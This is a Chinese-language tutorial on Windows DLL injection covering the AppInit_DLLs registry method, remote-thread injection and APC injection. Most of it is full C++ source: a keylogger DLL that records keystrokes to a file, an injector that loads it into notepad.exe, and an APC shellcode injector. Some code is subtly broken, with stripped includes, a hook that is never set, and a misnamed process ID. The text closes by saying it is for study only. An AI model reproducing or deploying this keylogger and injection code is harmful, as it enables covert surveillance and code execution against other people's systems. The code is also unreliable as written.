0x01 Dll注入介绍DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分,进而可以在注入的DLL中对所注入的进程做自定义的例程。
DLL注入从注入的技术方式上分为静态注入和动态注入。静态注入是通过系统本身的属性,或者静态就该可执行文件的二进制编码来完成。动态注入是通过运行时将特定的二进制编码写入到目标进程中,并引导进程执行所写入的代码来完成。
下面将介绍实现Dll注入的几种方式
一.通过修改注册表注入Dll(静态)原理:
这是利用系统的一个特性来完成DLL的静态注入。通过在注册表项中添加AppInit_Dlls键的值,可能会包含一个DLL的文件名或一组DLL的文件名(通过空格或逗号分隔),为了能让系统使用这个注册表项,我们还应该创建一个名为LoadAppInit_Dlls,类型为DWORD的注册表项,并将它的值设为1。当User.dll被映射到一个新的进程时,会收到DLL_PROCESS_ATTACH通知。当User.dll对它进行处理的时候,会取得上述注册表 键的值,并调用LoadLibrary来载入这个字符串中的指定的每个DLL。当系统载入每个DLL的时候,会调用它们的DllMain函数并将参数 fdwReason的值设为DLL_PROCESS_ATTACH,这样每个DLL就能够对自己进行初始化。
实操:
打开注册表项HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows。
新建名称为AppInit_DLLs 的字符串值,填入要注入的DLL的文件名或者完整路径。如果有多个DLL要注入,使用逗号来分隔。
再新建名称为LoadAppInit_DLLs的DWORD值,把值设置成1。
修改后的结果如下图所示:
这个注入方式依赖于User32.dll的初始化。在User32.dll初始化的时候,它会检查上述注册表值,如果LoadAppInit_DLLs的值不为0,就会依次对AppInit_DLLs中的DLL调用LoadLibraryEx,把它们加载到进程中。
二.通过远程线程实现DLL注入(动态)这里我们想将Dll注入至Notepad的进程中。DLL的作用是创建键盘钩子以实现对Notepad的输入监听。
包括以下步骤:
创建远程线程:首先,我们需要在目标进程中创建一个新的线程。我们可以使用 CreateRemoteThread函数来实现这一点。
分配内存:然后,我们需要在目标进程的地址空间中分配一些内存,用于存储我们要注入的DLL的路径。我们可以使用 VirtualAllocEx函数来实现这一点。
写入内存:接下来,我们需要将DLL的路径写入到刚刚分配的内存中。我们可以使用 WriteProcessMemory函数来实现这一点。
加载DLL:然后,我们需要在目标进程中加载我们的DLL。我们可以通过在远程线程中调用 LoadLibrary函数来实现这一点。
设置钩子:最后,我们需要设置一个钩子,以便在目标进程调用某个特定函数时,我们的DLL中的函数会被调用。我们可以使用 SetWindowsHookEx函数来实现这一点。
下面编写完整代码:
待注入的DLL文件:dllmain.cpp
// KeyLoggerDLL.cpp
#include
#include
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
std::ofstream logFile("keylog.txt", std::ios_base::app);
__declspec(dllexport) LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* pKeyBoard = (KBDLLHOOKSTRUCT*)lParam;
logFile << "Key pressed: " << pKeyBoard->vkCode << std::endl;
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
} //定义一个键盘回调函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
g_hInstance = hModule;
break;
case DLL_PROCESS_DETACH:
if (g_hHook) {
UnhookWindowsHookEx(g_hHook);
}
break;
}
return TRUE;
} //dll主程序
extern "C" __declspec(dllexport) void SetHook() {
g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, g_hInstance, GetCurrentThreadId());
}
extern "C" __declspec(dllexport) void RemoveHook() {
if (g_hHook) {
UnhookWindowsHookEx(g_hHook);
}
}用于执行注入操作的EXE
// Injector.cpp
#include
#include
#include
DWORD GetNotepadThreadId() {
DWORD notepadThreadId = 0;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return 0;
}
if (Process32First(hProcessSnap, &pe32)) {
do {
if (strcmp(pe32.szExeFile, "notepad.exe") == 0) {
notepadThreadId = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
return notepadThreadId;
}
int main() {
DWORD notepadThreadId = GetNotepadThreadId();
if (notepadThreadId == 0) {
std::cerr << "Notepad process not found." << std::endl;
return 1;
}
HANDLE hNotepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, notepadThreadId);
if (!hNotepad) {
std::cerr << "Failed to open Notepad process." << std::endl;
return 1;
}
char dllPath[MAX_PATH];
GetFullPathName("KeyLoggerDLL.dll", MAX_PATH, dllPath, NULL);
LPVOID pDllPath = VirtualAllocEx(hNotepad, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hNotepad, pDllPath, dllPath, strlen(dllPath) + 1, NULL);
LPVOID pLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(hNotepad, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pDllPath, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hNotepad, pDllPath, strlen(dllPath) + 1, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hNotepad);
return 0;
}三.通过APC实现DLL注入(动态)介绍:APC名为异步过程调用,APC是一个链状的数据结构。APC可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。
注入条件:
线程在进程内执行
线程会调用在APC队列中的函数
应用可以给特定线程的APC队列压入函数(有权限控制)
压入队列后,线程将按照顺序优先级执行(FIFO)
Alertable状态:要调用APC,线程必须是处于Alertable 状态。那怎么才能让线程处于这个状态呢?很简单,WaitForSingleObjectEx、SleepEx等且Alertable=TRUE,它就会变成“Alertable” 状态。执行此操作时,Windows 可能会在从这些函数返回之前将 APC 传送到该线程。这允许程序的开发人员控制可以在程序的哪些部分交付用户 APC。另一个可用于允许挂起 APC 执行的函数是 NtTestAlert。
注入流程:
1.OpenProcess打开进程,获得进程句柄
2.virtualloc申请内存空间
3.WriteProcessMemory向申请的内存空间写入要执行的Dll信息
4.获取进程对应的线程id再根据线程ID打开线程
5.在使用**queueUserAPC**插入执行
QueueUserAPC函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC函数的第一个参数,即函数地址设置的是LoadLibraryA函数地址,第三个参数,即传递参数设置的是DLL的路径。那么,当执行APC的时候,便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode。
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, //APC 注入方式
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);源码如下:
#include
#include
#include
unsigned char shellcode[] = "x00/x00";
int main() {
LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe"; //获取路径
STARTUPINFOA sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo); //创建一个进程和其对应的线程
HANDLE hproc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;
LPVOID lpvShellAddress = VirtualAllocEx(hproc, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
WriteProcessMemory(hproc,lpvShellAddress,shellcode,sizeof(shellcode),NULL);
QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
ResumeThread(hThread);
return 0;
}注:以上内容仅用于学习。